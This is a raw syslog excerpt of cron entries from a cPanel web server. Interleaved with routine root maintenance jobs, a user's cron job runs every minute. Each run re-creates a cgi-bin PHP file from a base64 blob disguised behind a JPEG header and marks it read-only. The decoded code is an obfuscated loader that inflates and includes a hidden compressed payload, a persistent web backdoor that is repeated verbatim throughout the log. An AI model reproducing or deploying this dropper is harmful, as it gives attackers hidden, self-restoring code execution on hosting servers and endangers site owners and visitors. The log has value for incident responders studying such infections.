Nov  9 04:34:01 server CROND[28093]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:35:01 server CROND[28902]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 04:35:01 server CROND[28903]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 04:35:01 server CROND[28908]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:35:01 server CROND[28907]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov  9 04:35:01 server CROND[28906]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 04:36:01 server CROND[29283]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:37:02 server CROND[30194]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:38:01 server CROND[31005]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:39:01 server CROND[31913]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 04:39:01 server CROND[31915]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:40:01 server CROND[32728]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 04:40:01 server CROND[32729]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:40:01 server CROND[32730]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 04:40:01 server CROND[32732]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 04:41:01 server CROND[1156]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:42:01 server CROND[1542]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:42:01 server CROND[1543]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 04:43:01 server CROND[2364]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:44:01 server CROND[3173]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:45:01 server CROND[4007]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 04:45:01 server CROND[4008]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 04:45:01 server CROND[4009]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:46:01 server CROND[4915]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
